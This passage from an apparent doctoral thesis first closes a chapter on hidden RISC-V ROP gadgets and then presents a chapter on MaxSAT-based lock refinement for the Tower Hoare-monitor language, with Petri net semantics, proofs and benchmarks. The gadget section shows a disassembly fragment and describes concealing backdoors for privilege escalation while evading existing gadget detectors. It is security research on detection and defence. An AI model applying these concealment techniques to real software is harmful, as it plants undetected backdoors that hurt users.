lui  t1,0x26372
j    0x8

ld   ra,8(sp)
mv   a0,zero
addi sp,sp,16
ret

lui  a0,0x9932
lui  a3,0x23371
lui  a2,0xa0212
mv   a1,zero
jal  ra,dummy4

dummy4

addi sp,sp,-16
sd   ra,8(sp)
jal  ra,dummy

dummy

Figure 5.7: The function15c (first presented in Fig. 5.4) as shown by our
disassembler. Unnecessary details such as instruction addresses or hexadec-
imal representations have been deleted. The gadget is highlighted in gray,
and the dummy functions are shown in light-gray.

them implementing the Galileo algorithm, falling short of detecting this
new class of gadgets. The closest to our work could be ROPgadget [Sal11],
which tentatively disassembles a fixed number of instructions starting from
each byte of the program. This method is particularly inefficient compared
to our algorithm and to Galileo, but it could find some gadgets spanning
over several LCSAJs, if they are shorter than a given threshold (by default
10 instructions). Quite surprisingly, after finding them, ROPGadget dis-
cards those gadgets by default, unless passed the option --multibr. The
algorithm that we provided comprehensively solves this aspect of gadget
detection by revealing any gadget, regardless of their length or number of
LCSAJs.

More recently, Borrello et al. [Bor+19] published a method to insert
backdoors in programs with encrypted ROP gadgets and a small decryp-
tion procedure. While encryption methods provide definitive proof that the
malicious behavior will indeed be hidden to static analysis, this does not
address the problem of detection, as the decryption procedure is not con-
cealed, and thus may be detected by static analysis. In this chapter, we
provided another method for adding such backdoors, without having any
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unconcealed element in the program. To achieve this result, we rely on a
fine understanding of how current detectors work, exploiting their inability
to find gadgets spanning over more than one LCSAJ.

5.9 Conclusion and Future Work
ROP attacks still pose a threat, despite the wide deployment of dedicated
countermeasures. These protections fail to provide a satisfactory solution
to these attacks, as we managed to design a new type of gadget on RISC-
V, undetectable by existing tools, made of several linear-code sequences
and jumps, that bypasses ASLR, DEP, stack canaries, G-Free and some
compiler-based backward-edge CFIs. We showed how to use such gadgets
in two different attack schemes concealing a backdoor to perform privilege
escalation attacks on two standard Linux operating systems. Although the
gadgets are written in C, we believe that it can be generalized to other
languages, such as JIT compilers once they become available on RISC-V, as
well as other architectures featuring code overlap.

We provided a new algorithm aiming to replace previous Galileo-based
algorithms, that finds all hidden execution paths of a program, and not just
the last LCSAJ. This algorithm may be used both for offensive and defensive
purposes. However, we believe that its defensive use is only provisional, as
a definitive solution to prevent code overlap requires thorough changes in
the ISA, which may only be implemented on next-generation architectures.

5.A Source code and artifact
The C source code used to generate gadgets, as well as links to the images of
the Fedora and Debian virtual machines are available on the following link:
https://github.com/GAJaloyan/asiaccs2020.

https://github.com/GAJaloyan/asiaccs2020
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Improving the safety of
programming languages
using formal methods
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Chapter 6

Lock Optimization for Hoare
Monitors in Real-Time
Systems

Hoare monitors are a safe concurrency abstraction built around
monitors with shared state and methods operating on the shared
state. Only a few applications use monitors as a concurrency
framework in the context of real-time systems. In this chapter,
we describe a Hoare monitor framework called Tower developed
for real-time system programming targeting multiple real-time
operating systems (RTOS). Hoare monitors use coarse-grained
locking across all of the methods in a monitor. In a real-time
setting, this coarse-grained locking can also be restrictive, but
it is difficult and tedious for a programmer to reason about
which methods may safely be executed in parallel. Therefore, we
present an automated compiler optimization for refining locks in
Hoare monitors using partially-weighted MAXSAT. We formal-
ize Tower semantics using Petri nets and show that safe concur-
rency is preserved under the optimization. Finally, we present
a number of empirical benchmarks for our optimization as well
as a case-study of a real-time autopilot built and optimized with
our approach.

This work was jointly conducted with Lee Pike with support by
DARPA under contract no. FA8750-12-9-0169. It was published
in ACSD 2017 [JP17].

6.1 Introduction

Concurrency in embedded real-time systems is often necessary to handle
interrupts and deadline constraints, but it can be notoriously difficult to im-

107
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plement correctly. One famous example is the Mars Pathfinder concurrency
bug [Jon97].

Hoare monitors are a programming abstraction invented in the 1970s by
C. A. R. Hoare and Per Brinch Hansen for safe concurrency [Hoa74; Bri73].
Monitors guarantee thread-safe accesses to shared resources: each monitor
contains a set of methods (or handlers) that share resources among which
only one can execute at a time. Hoare monitors make safe concurrency
easier, since by construction, if the implementation is correct, deadlocks are
not possible.

But safety comes at a price: a method takes a lock that is held while a
thread is executing the method, blocking all other methods in the monitor
from being executed. Indeed, if the lock is global, then no other thread can
be executed until the lock is released.

While Hoare monitors have been implemented in a variety of program-
ming languages, they have rarely been used in the context of embedded real-
time systems and real-time operating systems; we revisit the use of Hoare
monitors in this context. In particular, we have used a Hoare-monitor based
programming paradigm called Tower to design and implement an autopilot
for small unmanned air vehicles. We introduce Hoare monitors and de-
scribe their implementation for real-time systems in Section 6.2. Tower has
backends that target FreeRTOS [Bar17] and eChronos (a formally verified
RTOS) [Dat16], POSIX, and the formally verified seL4 microkernel [Kle+09]
with recent real-time support [LH16].

We propose three properties that our Hoare monitor implementation
should satisfy: (1) absence of dataflow cycles between methods, (2) absence
of race conditions, and (3) deadlock freedom. In Section 6.3, we formalize
Tower using Petri nets and discuss the three properties.

One benefit of Hoare monitors is that they provide a convenient pro-
grammer abstraction of the system in which the programming model is a
dataflow model between methods. Methods that are conceptually related
(e.g., for a device driver) belong to the same monitor, much in the same
way that conceptually related functions are placed in the same module. By
construction, the programmer is guaranteed that there is no out-of-band
shared state between methods not in the same monitor.

While it is useful and convenient to place conceptually related methods in
the same monitor, it can overly constrain the system. For example, consider
three methods, m0, m1, and m2, in the same monitor, where m0 and m1
share state and m1 and m2 share another state. Then m0 and m2 could be
run in parallel, as they share no state, despite being in the same monitor.

We investigate how to automatically optimize concurrent Hoare-monitor
programs in Section 6.4. Our approach uses a Partial Weighted MaxSAT
(PWMS) [MML14] encoding of Hoare monitors to refine the number and
assignment of locks on a per method basis: a single global lock per monitor
is replaced with multiple locks associated with subsets of methods. We also



6.2. HOARE MONITORS 109

prove in our Petri net formal model that the three safety properties are
preserved after this optimization.

We present experimental results for our lock refinement optimization in
Section 6.5, and then describe an extended case-study of applying the opti-
mization to an autopilot in Section 6.6. We study related work in Section 6.7
and conclude in Section 6.8.

6.2 Hoare monitors

Hoare monitors are thread-safe constructs, comparable to modules, that
enforce safe access to resources shared at the monitor scope using a lock
(or mutex). First implemented by Hoare in Concurrent Pascal, they have
since been implemented in other languages, ranging from C++11 to Python,
Ruby, and Java.

A monitor is an enclosing structure that protects accesses to its shared
resources (declared at the monitor scope) by defining accessors (methods or
procedures) that exclusively access shared resources in a thread-safe way.
Declaring a monitor is carried out by declaring the shared resources, and by
defining the procedures using these resources.

Methods enforce thread-safety using a lock declared at the monitor level.
All of a procedure’s code is inside the locked environment, preventing un-
locked access to shared resources. In this way, only one procedure in a given
monitor can be executed at a given time, resulting in the absence of race
conditions (all shared resources are protected by the monitor’s lock). More
specifically, each procedure is run, as defined in [Hoa74], according to the
following scheme: take the monitor’s lock, wait for some specific condition
variables, execute the body, signal other procedures on a condition variable,
and release the lock.

6.2.1 Tower: Hoare monitors for real-time systems

Tower is a domain-specific language originally created by Pat Hickey for
real-time Hoare-monitor based programming. The methods are designated
as handlers. Signaling operations are done through channels. There are four
types of channels in Tower: synchronous channels, periodic channels, signal
channels, and initialization channels. Synchronous channels have input and
output endpoints, while the others only have output endpoints. Handlers
listen on the output endpoint of a channel, and multiple handlers can write
to the input endpoint of a synchronous channel.

Synchronous channels are first in, first out (FIFO) with an upper limit
on the number of messages they can hold, called the depth. The default
depth is one. Periodic channels output messages coming from the system
clock; one channel is required for each periodic task rate. If the system
is schedulable, a handler for an n microseconds periodic channel receives a
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message every n microseconds. Signal channels transmit system interrupts
and drive ISRs. Finally, an initialization channel allows handlers to run
once, at system initialization.

Tower automatically creates RTOS threads associated with each peri-
odic, signal, and initialization channel, and manages implicit message pass-
ing between handlers of different monitors, through static global variables
and function calls. Every handler that listens to one of these channels is exe-
cuted in the associated thread. Handlers that listen to synchronous channels
are not scheduled as threads but are library code called by scheduled threads.
These threads are created during the initialization phase of the operating
system, which then schedules the tasks by either rate-monotonic scheduling
(RMS) or round-robin scheduling (for POSIX threads): the signal threads
have the highest priority, and periodic threads have a priority inversely re-
lated to their period (the higher the frequency, the more the priority).

In a Tower program, monitors are declared using the monitor keyword.
Each monitor takes as argument its name (a string), and contains a list of
handler and state (shared resource) declarations. State can optionally
be initialized using the stateInit keyword. Each handler listens on a
typed channel. A handler takes as an argument a channel, a name, then
a list of callbacks. Each callback contains the behavioral component code
to execute. A callback takes a single argument, the value received over its
enclosing handler’s channel.

Callbacks are written in Ivory [Ell+15], a memory-safe systems language
that shares its type system with Tower. Callbacks are executed in the order
they are declared. In addition to performing arbitrary local computation
and reading and writing the state variables within its enclosing monitor,
a callback may write to one or more outbound channels. It does so by
executing an emit command that takes a channel and a value as arguments.

Interaction is done through Ivory and is heavily backend dependent: each
backend defines accesses to hardware registers (for controlling peripheral
buses and GPIO), and provides drivers, such as CAN, DMA, I2C, RNG,
SPI, UART, that can be used to communicate on those buses. It is also
possible to import external functions, symbols, and types.

As an example of a Tower program, consider Figure 6.1 and its graph
representation in Figure 6.3. The program blinks two LEDs, led1 and
led2 whose timeline is shown in Fig. 6.2. The program defines two tasks,
one running at 500 milliseconds and one running at 10 milliseconds. The
500 milliseconds task drives two handlers, flipflop and led1on . The
flipflop handler emits a Boolean on a channel and then stores the
negation of the value into a monitor-scope shared resource. The led2ctrl
handler reads the output of the channel the flipflop handler emitted on.
It takes the Boolean passed on the channel; if it is true, then it turns led2
on; otherwise it turns it off, by passing a state variable representing led2
to the functions ledOn and ledOff , respectively (the definitions of the
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p500 <- period (500 ms)
p10 <- period (10 ms)
(tx , rx) <- channel

monitor "go" do
stateInit "led2lit" false
handler p500 "flipflop" do

callback \_ -> do
emit tx led2lit
store led2lit (not led2lit)

monitor "led" do
stateInit "led1lit" false
state "led1"
state "led2"
handler p500 "led1on" do

callback \_ -> do
ledOn led1
store led1lit true

handler p10 "led1off" do
callback \_ -> do

if led1lit
(ledOff led1)
store led1lit false

handler rx "led2ctrl" do
callback \out -> do

if out
then (ledOn led2)
else (ledOff led2)

Figure 6.1: Tower example (with syntactic simplifications).

time (in s)
led1
led2

0 0.5 1.0 1.5 2.0 2.5 3.0

Figure 6.2: Timeline of the Tower example.
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500ms

10ms

Threads

Code

flipflop

led2ctrl

led1on

led1off

go monitor

led monitor

Figure 6.3: Graph representation of the Tower program from Figure 6.1.

functions are elided here for space).
The second 500 ms handler (led1on) turns led1 on by calling the

ledon function and then stores into a monitor-scope resource, led1lit ,
that led1 is lit.

Finally, the led1off task runs at 10 ms and if the monitor-scope vari-
able led1lit is true, then it turns led1 off.

Tower uses Haskell [Pey02] syntax; we have elided a few idiosyncrasies
in the example in Figure 6.1. A few syntactic explanations are still in order:
the do keyword introduces a sequence of instructions to be executed in
order. Lambda is denoted by \, and a lambda expression, \foo -> ...
denotes an anonymous function that takes foo as a formal parameter and
is used in the function’s body. If the argument is unused in the body, then
the formal parameter is elided with an underscore (_).

6.2.2 Tower toolchain

AADL

eChronosseL4

FreeRTOS POSIX

Tower + generated C code

Tower + Ivory

Ivory compila-
tion

backends

Figure 6.4: The Tower toolchain.
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Figure 6.4 shows the backend structure. Tower programs are reified and
transmitted to several backends including POSIX, the FreeRTOS [Bar17]
and eChronos [Dat16] RTOSes, and the seL4 microkernel [Kle+09]. For the
eChronos and seL4 backends, glue code is generated via an intermediate
Architecture Analysis and Design Language (AADL) [FGH16] specification
that is generated from Tower. An AADL-based tool developed by University
of Minnesota generates operating system bindings from AADL.

6.3 Petri net semantics for Tower

We formalize Tower to prove safety properties of its semantics, both be-
fore and after optimization. A simplified grammar for Tower is given in
Figure 6.5.

〈tower〉 ::= (〈channel〉)∗(〈monitor〉)∗

〈channel〉 ::= 〈endpoint〉<- period time
| 〈endpoint〉<- signal 〈name〉
| 〈endpoint〉<- init
| (〈endpoint〉, 〈endpoint〉) <- channel

〈monitor〉 ::= monitor 〈name〉 do (〈handler〉)∗

〈handler〉 ::= handler 〈endpoint〉 〈name〉 do (〈callback〉)∗

〈callback〉 ::= callback value -> do (〈emitter〉)∗

〈emitter〉 ::= emit 〈endpoint〉 value

〈name〉 ::= "(a− z|A− Z)(a− z|A− Z|_|0− 9)∗"

〈endpoint〉 ::= (a− z|A− Z)(a− z|A− Z|_|0− 9)∗

Figure 6.5: Simplified Tower grammar, without Ivory code (except emit).

6.3.1 Petri nets

Petri nets are a well-known formal model for concurrent systems [Pet67].
We briefly introduce Petri net machinery to carry out a formalization of
Tower.

A Petri net is a tuple (S, T, F,M0) where S is the set of states, T the set
of transitions, F the arcs (F ⊂ (S × T ) ∪ (T × S)), M0 : S → N the initial
marking. A Petri net is intuitively a bipartite graph enriched with labeling
for nodes and edges. Note that it is also possible to enrich these Petri nets
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with capacities on each node and weights on arcs, which we do not need in
the simplified Tower presented here.

A marking is an assignment of tokens to states. A transition t is enabled
if each state s such that there is an arc s → t has a token. An enabled
transition t in a marking M is fired when we modify M into M ′ such that
each input state of the transition t loses one token, and each output state
is given one token. A marking M is reachable from a marking M0 if we can
sequentially fire transitions t0, . . . , tn from M0 such that the final marking
obtained is equal to M . We say that a state s is safe if any marking in
which s has two tokens is not reachable from the initial marking. A simple
Petri net example is provided Figure 6.6.

S1
• T1 S2 T2

S3
•

Figure 6.6: Example of a Petri net with three states (S1, S2, S3) and two
transitions (T1, T2). The transition T1 is enabled in the initial marking
M0, (one token is attributed to S1 and to S3 in M0).

Assuming that there are no contradictory data regarding initial mark-
ings, we define the union of two Petri nets as the component-wise union of
the nets. This allows us to build Petri nets in a modular way. More formally:

(S, T, F,M0) ∪ (S′, T ′, F ′,M ′0) = (S ∪ S′, T ∪ T ′, F ∪ F ′,M0 ∪M ′0)

6.3.2 Denotational semantics of Tower

We formalize a Tower program as a Petri net, and then prove safe concur-
rency properties, defined in Section 6.3.3, both before and after optimiza-
tion. We operate by induction on the syntax (Figure 6.5), and construct
small Petri subnets and then connect them together using the previously
defined union operator on Petri nets. The result consists in a denotational
Petri net semantics of the Tower framework, consisting in one function for
each type of Tower construct: monitors (M), handlers (H), channels (L),
emitters (E).

As a convenience, we first define subnets to build up Tower channel se-
mantics, as illustrated in Figure 6.7. The initial net representing the init
channel fires only once at the beginning of the execution of the program.
Periodic and signal channels translate into Petri nets with an enabled tran-
sition that can fire an unlimited number of times and will distribute one
token to each handler listening on this channel. For synchronous channels,
the transition can fire only when the incoming state received a token from
another handler. Formally, this can be expressed as:
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L J(endpointtx, endpointrx) <- channelK =
states: {endpointtx}
transitions: {endpointrx}
arcs: {endpointtx → endpointrx}
initial marking: {endpointtx 7→ 0}


L Jendpoint <- period timeK =

states: {period_time}
transitions: {endpoint}
arcs: {period_time→ endpoint,

endpoint→ period_time}
initial marking: {period_time 7→ 1}


L Jendpoint <- signal nameK =

states: {sig_name}
transitions: {endpoint}
arcs: {sig_name→ endpoint,

endpoint→ sig_name}
initial marking: {sig_name 7→ 1}


L Jendpoint <- initK =

states: {__init}
transitions: {endpoint}
arcs: {__init→ endpoint}
initial marking: {__init 7→ 1}



__init
• initial_endpoint

(a) initial_endpoint <- init

tx
 rx

(b) (tx,rx) <- channel

period_10_ms
• p10

(c) p10 <- period (10 ms)

sig_SIGKILL
• kill

(d) kill <- signal SIGKILL

Figure 6.7: Illustration of the semantics of the different types of channels.

Emitters are translated to arcs from handlers to channels, handlers are
as successions of states and transitions, abstracting their callbacks into a
single state. To keep our semantics simple, we implicitly inline all emitters
of a callback into its enclosing handler. The order in which callbacks are
called is left nondeterministic. An example is provided in Fig. 6.8.
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MJmonitor name do (handler)iK =
(
⋃
i

HJhandleriKname)
⋃


states: {name}
transitions: ∅
arcs: ∅
initial marking: {name 7→ 1}


HJhandler endpoint name do (emitter)iKmonitor =

(
⋃
i

EJemitteriKname)
⋃



states: {name, callback_name}
transitions: {lock_name, release_name}
arcs: {endpoint→ name,

{name→ lock_name,
monitor → lock_name,
lock_name→ callback_name,
callback_name→ release_name,
release_name→ monitor}

initial marking: {name 7→ 0, callback_name 7→ 0}


EJemit endpoint valueKhandler =

states: ∅
transitions: ∅
arcs: {release_handler → endpoint}
initial marking: ∅



monitor_go

monitor_led

flipflop lock_flipflop callback_flipflop release_flipflop go
•

led1on lock_led1on callback_led1on release_led1on

led1off lock_led1off callback_led1off release_led1off

led2ctrl lock_led2ctrl callback_led2ctrl release_led2ctrl

led
•

tx rx

period_10_ms
• p10

period_500_ms
• p500

Figure 6.8: The Petri net for the Tower example (Fig. 6.1). Channels and
monitors are grouped together. States are shown as ellipses, transitions as
rectangles, arcs as arrows and initial marking as bullets.
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6.3.3 Safety Properties

Tower programs should guarantee three safety properties: the absence of
channel cycles, the absence of race conditions, and deadlock freedom. We
define these properties in terms of the Petri net semantics here.

Absence of Channel Cycles

A channel cycle is a special case of a deadlock caused by a circular data
dependency among handlers. Intuitively, we define a channel cycle as a
closed walk in a graph where the nodes are the handlers and edges are
channel communications between handlers. Formally, using our Petri net
semantics, a channel cycle is a finite sequence of nodes n1,m1, n2, . . . such
that:

• Each ni is a state, each mi is a transition.

• There exist arcs between consecutive nodes of the sequence.

• Each transition inside a period or a signal construct is unique (that
means that we do not rearm a signal or loop in the sequence).

• There exists i and j (i 6= j) such that mi and mj are endpoint transi-
tions (i.e. as defined by the L function), and mi = mj .

This can be reformulated into the fact that there does not exist a non-trivial
strongly connected component that contains a channel endpoint.

Absence of Race Conditions

A race condition occurs when there is a concurrent access to some resource
not protected by any lock. In the context of Hoare monitors, all accesses
to such resources are done within a handler, which can only be executed
after taking a lock that will guarantee no other handler that has access to
this resource could run simultaneously (indeed, shared resources are at a
monitor scope).

Hence, the locking procedure for a handler in the monitor moni is trans-
lated into the transition called lock_moni, which, when fired, gives a token
to the state callback_moni. This state symbolizes the callback computa-
tion: there is no access to shared resources outside this state.

Deadlock Freedom

We define deadlock to be a situation in which there exist handlersH1, . . . ,Hn

(n >= 2), which have acquired locks for X1, . . . , Xn, and are requesting
locks for Y1, . . . , Yn where we have Yi ∩ Xi+1 6= ∅ (we consider that all
indices are modulo n). This definition is consistent with the one given by
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Chandrasekaran et al. [Can+14]. Without loss of generality, we can choose
for each handler Hi, a lock yi ∈ Yi∩Xi+1, that blocks the handler at atomic
instruction take_lock(yi).

The absence of deadlocks in a monitor can be interpreted as the following:
for all subsets of handlers H1, . . . ,Hn of the monitor, there is no reachable
markingM in the Petri subnet P ′ (obtained from P by deleting all handlers
and channels, except handlers H1, . . . ,Hn for which we add a token) such
that M has no enabled transition. This reachability problem in a Petri net
is known to be EXPSPACE − hard [Lip76]. However, given the fact that
a handler cannot acquire the same lock twice, each state is therefore safe.
The problem of detecting a deadlock in monitors therefore lies in co-NP (we
have to guess a schedule of polynomial length that will deadlock).

6.4 Lock Refinement

A solution to improve parallelism is to release the locking constraints on
the handlers, by allowing parallel execution of handlers that do not access
common shared resources. One approach is to create a lock per resource
and require each handler to acquire all locks necessary before any callbacks
are called. Unfortunately, embedded RTOSes are often bounded on their
total number of locks. Furthermore, such fine-grained locking can cause the
overhead of acquiring and releasing locks to be too high, such as in tight
control loops. We therefore require efficient allocation of shared resources
to a fixed number of locks.

Besides shared state variables declared at monitor scope, handlers may
also access hardware resources directly (e.g., reading and writing to regis-
ters). In a general purpose language with pointers, a precise static anal-
ysis to determine all accesses to shared resources is not generally possi-
ble. As noted above, the callbacks within handlers in Tower are written
in Ivory [Ell+15]. Ivory references are statically guaranteed non-null point-
ers. Reference arithmetic or reference aliasing is not possible except through
function calls. Registers are named and are accessed through an interface.
These characteristics make a static analysis of handlers to discover the uses
of shared resources straightforward and is done as an Ivory compiler pass. In
particular, our analysis does not require an inter-procedural analysis, given
that a shared resource can be passed to a function only as an argument.
Looking at the arguments in top-level function calls in handlers is sufficient
to safely over-approximate the shared resources used.

6.4.1 Lock Optimization

To begin, consider a matrix representation of the inputs, made of an n×m
boolean matrix I, where n represents the number of handlers, m the number
of resources, and Ii,j ≡ true if and only if the handler Hi uses the resource
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Rj . Hence in this matrix representation, we can define rows in the form Ii,
and determine whether two handlers share any resources by computing the
scalar product of two rows:

Ii • Ij ≡
m∨
k=1

Ii,k ∧ Ij,k (6.1)

Similarly, the output is in the form of an l ×m Boolean matrix A (where
l is the upper bound on the number of locks), called an attribution, where
Ai,j ≡ true if and only if the resource j is attributed to the lock i. Note
that stating that handlers i and j do not share any lock means exactly
(At × Ii) • (At × Ij) ≡ false. Note that a resource is attributed to exactly
one lock, which formally writes as the following invariant:

∀j ∈ {1, . . . ,m},∃!i ∈ {1, . . . , l}, Ai,j ≡ true (6.2)

The goal of the optimization is to find an attribution that increases paral-
lelism in multicore configurations (we precisely define a metric on parallelism
in Section 6.5) while satisfying Invariant 6.2.

We define a reward function mapping each pair of handlers to the prod-
uct of their respective number of resources (written nbResources) and the
frequency (written Freq) at which they are called (i.e., the reward will
be bigger if the pair of handlers uses a lot of resources and/or is run fre-
quently). The intuition is that since we are dealing with real-time systems,
greater weight should be given to threads that run frequently, taking into
account the number of resources they have. Because a handler may be called
from multiple threads, we define an ordering of threads based on frequency,
and assign the frequency of handlers to be the frequency of the maximal
thread that calls it. The ordering is as follows, defined over the four types
of channels available in Tower:

init < c for all channels c s.t. c 6= init

period t0 < period t1 iff t0 > t1

c < signal n d for all c s.t. c 6= signal n′ d′

signal n0 d0 = signal n1 d1

Intuitively, initialization threads run once, thus have the lowest fre-
quency. A periodic thread has a higher frequency if its period is smaller.
And signal threads, which can be driven by interrupts, are assumed to have
the highest frequency. Furthermore, we do not distinguish signals with dif-
ferent deadlines. The reward function appears to be simple to compute—it
relies on a simple graph analysis from the Tower compiler—and proved to
work well in practice.
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For each pair of handlers that do not share resources, we add the reward
if the resources of the first handler are not attributed to the same lock as
the resources of the second handler. In what follows, the Kronecker delta,
δ, is defined as being one if its two arguments are equal, zero otherwise.

maximize:
∑
i<j

δ((At × Ii) • (At × Ij), false) W (i, j)

over: (Ai,j)i∈{1,...,l},j∈{1,...,m}
subject to: A satisfies the property (6.2)

where: W (i, j) = Freq(Ii) · Freq(Ij)·
nbResources(Ii) · nbResources(Ij)

We translate this optimization problem with a PWMS instance. MAXSAT is
the problem of determining the maximum number of clauses in a conjunctive
normal formula that can be satisfied. This is a variant of SAT which consists
only in determining if all the clauses can be satisfied or not. PWMS is a vari-
ant of MAXSAT with hard clauses, which must be satisfied, and weighted
soft clauses, which may be satisfied. We use open-wbo [MML14], an open-
source PWMS solver with Glucose 3.0 as the underlying SAT solver [AS09;
ES04].

The PWMS solver finds an assignment to variables Ai,j that satisfies the
Invariant 6.2. The hard clauses ensure that every resource is attributed to
exactly one lock. The soft clauses aim for every pair of handlers (Hi, Hj)
sharing no resources, and for every resource α that Hi uses and every re-
source β that Hj uses, respectively, at minimizing the assignments of α and
β to the same lock, weighted by the frequency of the handlers’ usage (weights
are written as a subscript in the soft clauses).

variables: (Ai,j)i∈{1,...,l},j∈{1,...,m}

hard clauses:
m∧
j=1

(
l∨

i=1
Ai,j)

∧
(

∧
1≤i<k≤l

¬Ai,j ∨ ¬Ak,j)

soft clauses:
∧

1≤i<j≤n
Ii•Ij≡false

∧
1<α<m
Ii,α≡true

∧
1<β<m
Ij,β≡true

l∧
k=1

(¬Aα,k ∨ ¬Aβ,k)Freq(Ii)×Freq(Ij)

Finally, as a post-processing step to improve efficiency, we define HLi , the
set of handlers that have to take the lock Li. We define a partial order v
on locks such that Li v Lj if and only if HLi ⊆ HLj . We finally apply basic
optimizations that reduce the final number of locks:
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• Monitors with no resource do not generate any locks.

• Locks Li and Lj for which Li v Lj are merged together (more pre-
cisely, Li is merged into Lj).

6.4.2 New semantics

Two modifications have to be made to the semantics in Section 6.3. The first
allows declaring at a monitor level several locks, each as a state initialized
with one token. The second changes the locking procedure of handlers, by
creating one transition per lock to acquire (we release all the locks at , as
unlocking order does not influence the safety properties).

MJmonitor name (lock)i do (handler)jK =
(
⋃
j

HJhandlerjKname)
⋃


states: {

⋃
i

name_lock_i}

transitions: ∅
arcs: ∅
initial marking: {

⋃
i

name_lock_i 7→ 1}



HJhandler endpoint name (lock)i do (emitter)jKmonitor =
(
⋃
j

EJemitterjKname)
⋃



states: {name, callback_name,
(locked_i_name)i 6=max(i)}

transitions: {(lock_i_name)i, release_name}
arcs: {name→ lock_min(i)_name,

(monitor_lock_i→ lock_i_name)i,
(lock_i_name→ locked_i_name)i 6=(max(i)),
lock_max(i)_name→ callback_name,
callback_name→ release_name,
(release_name→ monitor_lock_i)i}

initial marking: {name 7→ 0, callback_name 7→ 0,
(locked_i_name)i 6=max(i) 7→ 0}
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monitor_go

monitor_led

flipflop lock_flipflop callback_flipflop release_flipflop

led1on lock_led1on callback_led1on release_led1on

led1off lock_led1off callback_led1off release_led1off

led2ctrl lock_led2ctrl callback_led2ctrl release_led2ctrl

led1
•

led1lit, led1

led2
•

led2

tx rx

period_10_ms
• p10

period_500_ms
• p500

Figure 6.9: The Petri net for the Tower example (Fig. 6.1) after lock refine-
ment. Note the absence of lock in the go monitor and the presence of two
locks for the led monitor.

6.4.3 Proofs of Safety

Let us reconsider our three safety properties with respect to the optimization
we have described.

First, lock refinement does not affect the message passing (modifications
only happen inside the monitors); hence the absence of channel cycles is
preserved in the new Petri net model.

More rigorously, let us consider a channel cycle n1,m1, n2, . . . , np (such
that the sequence respects the properties expressed in 6.3.3) in the origi-
nal program before lock refinement: then we construct a new channel cy-
cle in the Petri net after lock refinement by keeping all nodes and tran-
sitions, except that name → lock_name → callback_name is replaced
by name → lock_min(i)_name → locked_min(i)_name → . . . →
lock_max(i)_name → callback_name. We easily check that the new
sequence indeed verifies the properties expressed in the definition of chan-
nel cycle: the length of the cycle is still finite, we alternate between states
and transitions following arcs, we keep the uniqueness of transitions inside
channel constructs and we still have mi and mj from the channel cycle be-
fore optimization that are present in the new sequence of nodes, except that
their indexes increased while still being different from one another. The
converse is trivially true by remarking that the construct above is reversible
(more precisely, the previous construction gives an isomorphism between the
channel cycles of the Petri nets before and after lock refinement).

Second, race conditions can only happen after lock refinement if there
are resources of global scope accessed outside a lock. The system is safe if
for each handler, the set of resources that are being accessed is a subset of
the set of resources protected by the locks acquired by this handler, which
is equivalent to the soundness of the static analysis done previously. To
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check this property in terms of Petri nets, we extended the Petri nets by
adding an extra labeling to handler states that indicates the resources used
by the handler, and for each lock state, the resources that the lock protects.
Those changes in the semantics are not presented here, for simplicity and
readability purposes. At compile time, we check that the resources used by
each handler are indeed a subset of the union of the resources protected by
the locks taken by the handler.

Third, deadlock freedom is the least obvious of the three properties.
Let us define an ordering relation ≤ over locks, and enforce by conven-
tion that each handler will have to take the locks following the same order
(this is enforced in the semantics by the transitions lock_min(i)_name→
locked_min(i)_name → . . . → lock_max(i)_name). Suppose handlers
H1, . . . ,Hn are deadlocked. Then by using the definition of deadlock given
in section 6.3.3, we can define for each Hi, Xi the set of locks acquired and Yi
the set of locks that are still to be acquired, and we have that ∃yi ∈ Yi∩Xi+1.
Without loss of generality, we can say that for each handler Hi, the tran-
sition lock_y(i)_name is not enabled. By using the fact that we have an
ordering relation on locks, we can say that y1 ≤ y2 given that y1 ∈ X2 and
y2 ∈ Y2. The same can be applied circularly, which gives yi ≤ yi+1. Hence
by antisymmetry and transitivity we can conclude that y1 = . . . = yn, giving
deadlock freedom by contradiction.

6.5 Experimental Results

In this section, we benchmark how our optimization scales using PWMS.
In particular, we run for a fixed period of time, after which a solution is
returned that may not be optimal.

We first define a metric based on comparing the resulting parallelism to
the theoretical maximum. We do so by defining two graphs in which the
nodes are the handlers, and then compare their densities. The first graph
has its edges defined by the relation Ii • Ij = false (i.e. the handlers Hi

and Hj can run simultaneously in theory) and the second by the relation
(Ii ×At) • (Ij ×At) = false (i.e. the handlers Hi and Hj will run simulta-
neously when executing the program after optimization). After computing
the graph density of the first graph and discarding the ones in which there
is no parallelism possible (density equal to zero), we apply our optimization
and compute the density of the second graph and compute the relative error
(∆ = theoretical−experimental

theoretical ) which will be main our benchmarking value.
In the benchmark, we generate random Tower programs, run the lock

refinement optimization, then record the relative error of the results. The
essential question addressed in the benchmark is how small a relative error
can be achieved using PWMS. open-wbo supports setting a timeout. When
the timeout is reached, if the hard clauses are satisfied, then the best result
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(a) 2 seconds. (b) 900s compared to 2s (differ-
ential image).

(c) 60 seconds. (d) 900s compared to 60s (differ-
ential image).

(e) 900 seconds. (f) 900s compared to 300s (differ-
ential image).

Figure 6.10: Relative error obtained for each various timing. Each test case
is defined by its coordinates (number of handlers, total number of resources,
number of locks allocated). The ranges chosen are: handlers ∈ {2, . . . , 5},
resources ∈ {2, . . . , 64} and locks ∈ {2, . . . , 32}. Figures 6.10a, 6.10c, 6.10e:
we show the relative error as computed before (blue: perfect computation,
red: the optimization failed and no parallelism is found). Figures 6.10b,
6.10d, 6.10f: we show the delta between respectively 6.10a and 6.10e, 6.10c
and 6.10e, 300s (not shown here) and 6.10e. White color means no change,
blue means improvement whereas red shows worsening. Raw data can be
found on https://github.com/GaloisInc/pwms-instances

https://github.com/GaloisInc/pwms-instances
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reached with respect to the weighted soft clauses is returned. If not, the op-
timization is aborted. On large instances, we target only an approximation
since lock optimization is NP-complete [Emm+07].

Each test case with R resources is generated by drawing a number of
resources per handler P between one and R uniformly, and then for each
handler draw P resources out of R (in particular, for each test case, all
handlers have the same number of resources). To each test case, we allocate
2, 60, 300 or 900 seconds, the solver returning the best solution at the end
of this timeout. As shown by Fig. 6.10, the optimization scales well with
the number of resources, but not well with locks. Furthermore, in most
tested cases, more time does not improve the results, suggesting that if a
good optimization is not found quickly, it is likely not to be found even with
substantially more time. Additional noise was introduced due to open-
wbo non-deterministically entering a sleep state and having to be killed off
manually, which shows an abrupt degradation or improvement in the results
for some specific instances.

6.6 Case-Study: The SMACCMPilot Autopilot

To demonstrate the scalability of our approach on a large code-base, we ap-
ply the optimization approach to the SMACCPilot autopilot, developed as
a part of the Secure Mathematically-Assured Composition of Control Mod-
els (SMACCM) project within the DARPA High-Assurance Cyber Military
Systems (HACMS) program.

